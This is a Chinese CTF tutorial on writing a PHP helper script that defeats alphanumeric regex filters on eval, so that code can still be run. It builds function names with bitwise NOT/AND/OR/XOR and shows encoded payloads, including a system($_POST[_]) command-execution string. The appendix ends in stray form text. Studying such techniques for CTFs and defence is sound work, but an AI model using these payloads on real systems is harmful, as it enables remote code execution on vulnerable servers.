常规无字母RCE的通用辅助脚本开发教程
前言
无字母RCE(Remote Code Execution)是CTF比赛中常见的考点,虽然在实际环境中较少出现,但在CTF中经常考察选手对PHP代码特性的理解和变通能力。本文将详细介绍如何开发一个针对常规无字母RCE的通用辅助脚本。
常规解题思路
典型的无字母RCE题目通常具有以下特征:
- 使用正则表达式限制部分字符集
- 通过eval执行任意代码
常规解题思路如下:
- Fuzz出未被过滤的字符
- 通过与、或、非、异或操作利用未被过滤的字符构造关键字
- 利用PHP动态调用特性绕过限制执行任意代码
开发过程
1. Fuzz出未过滤的字符
<?php
$target = isset($_REQUEST['target']) ? $_REQUEST['target'] : "phpinfo";
$regx = isset($_REQUEST['regx']) ? $_REQUEST['regx'] : "/[A-Za-z0-9]/";
$white_list_chr = array();
for ($i = 1; $i <= 255; $i++) {
if (!preg_match($regx, chr($i))) {
$white_list_chr[] = chr($i);
}
}
print_r($white_list_chr);
这段代码遍历ASCII码1-255的所有字符,检查哪些字符不被正则表达式过滤,将结果存入$white_list_chr数组。
2. 构造可构造的字符集
单目操作(非运算)
$not_chars = array();
if (!preg_match($regx, '~')) {
foreach ($white_list_chr as $chr) {
$not_chars[~$chr] = ord($chr);
}
}
print_r($not_chars);
首先检查~运算符是否被过滤,然后对每个允许的字符进行非运算,存储结果。
双目操作(与、或、异或)
// 与运算
$and_chars = array();
if (!preg_match($regx, '&')) {
foreach ($white_list_chr as $chr1) {
foreach ($white_list_chr as $chr2) {
$and_res = $chr1 & $chr2;
if (null === $and_chars[$and_res]) {
$and_chars[$and_res] = array(ord($chr1), ord($chr2));
}
}
}
}
// 或运算
$or_chars = array();
if (!preg_match($regx, '|')) {
foreach ($white_list_chr as $chr1) {
foreach ($white_list_chr as $chr2) {
$and_res = $chr1 | $chr2;
if (null === $or_chars[$and_res]) {
$or_chars[$and_res] = array(ord($chr1), ord($chr2));
}
}
}
}
// 异或运算
$xor_chars = array();
if (!preg_match($regx, '^')) {
foreach ($white_list_chr as $chr1) {
foreach ($white_list_chr as $chr2) {
$and_res = $chr1 ^ $chr2;
if (null === $xor_chars[$and_res]) {
$xor_chars[$and_res] = array(ord($chr1), ord($chr2));
}
}
}
}
3. 构造目标字符串
非运算构造
$not_op = "";
for ($i = 0; $i < strlen($target); $i++) {
if ($not_chars[$target[$i]] === null) {
$not_op = "Fail.";
break;
}
$not_op .= chr($not_chars[$target[$i]]);
}
双目运算构造
// 与运算
$and_op_left = "";
$and_op_right = "";
for ($i = 0; $i < strlen($target); $i++) {
if ($and_chars[$target[$i]] === null) {
$and_op_left = "Fail.";
$and_op_right = "Fail.";
break;
}
$and_op_left .= chr($and_chars[$target[$i]][0]);
$and_op_right .= chr($and_chars[$target[$i]][1]);
}
// 或运算
$or_op_left = "";
$or_op_right = "";
for ($i = 0; $i < strlen($target); $i++) {
if ($or_chars[$target[$i]] === null) {
$or_op_left = "Fail.";
$or_op_right = "Fail.";
break;
}
$or_op_left .= chr($or_chars[$target[$i]][0]);
$or_op_right .= chr($or_chars[$target[$i]][1]);
}
// 异或运算
$xor_op_left = "";
$xor_op_right = "";
for ($i = 0; $i < strlen($target); $i++) {
if ($xor_chars[$target[$i]] === null) {
$xor_op_left = "Fail.";
$xor_op_right = "Fail.";
break;
}
$xor_op_left .= chr($xor_chars[$target[$i]][0]);
$xor_op_right .= chr($xor_chars[$target[$i]][1]);
}
4. 结果展示
<form method="post">
<p>Build for : <input name="target" value="<?php echo $target; ?>"></p>
<p>Regx : <input name="regx" value="<?php echo $regx; ?>"></p>
<p><button type="submit">Submit</button></p>
</form>
<p><b>Build via not</b></p>
<p>not_op : <input value="<?php echo urlencode($not_op); ?>"></p>
<p><b>Build via and</b></p>
<p>and_op_left : <input value="<?php echo urlencode($and_op_left); ?>"></p>
<p>and_op_right : <input value="<?php echo urlencode($and_op_right); ?>"></p>
<p><b>Build via or</b></p>
<p>or_op_left : <input value="<?php echo urlencode($or_op_left); ?>"></p>
<p>or_op_right : <input value="<?php echo urlencode($or_op_right); ?>"></p>
<p><b>Build via xor</b></p>
<p>xor_op_left : <input value="<?php echo urlencode($xor_op_left); ?>"></p>
<p>xor_op_right : <input value="<?php echo urlencode($xor_op_right); ?>"></p>
实际应用
示例题目
假设题目代码如下:
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9]/",$code)){
die("no letter!");
}
eval($code);
}
使用辅助脚本
- 将正则表达式
/[A-Za-z0-9]/和目标字符串phpinfo输入脚本 - 得到构造结果,例如非运算结果:
(~%8F%97%8F%96%91%99%90)() - 构造payload:
(~%8F%97%8F%96%91%99%90)(); // phpinfo()
系统命令执行
- 构造
system和_POST:- `$_=(~%A0%AF%B0%AC%AB);(~%8C%86%8C%8B%9A%92)(
\[_[_]); // system($_POST[_]);`
2. 发送payload时注意对特殊字符进行URL编码
## 小提示
1. 构造结果可能包含特殊字符(如`\`, `"`, `'`, `)`, `=`等)影响代码语义
2. 解决方法:
- 在正则中添加特殊字符的过滤重新计算
- 对特殊字符进行转义(如`\`前再加一个`\`)
3. 如果所有构造方式都返回"Fail.",可能需要考虑进阶玩法
## 附录:完整脚本代码
```php
Build via not not_op : Build via and and_op_left : and_op_right : Build via or or_op_left : or_op_right : Build via xor xor_op_left : xor_op_right :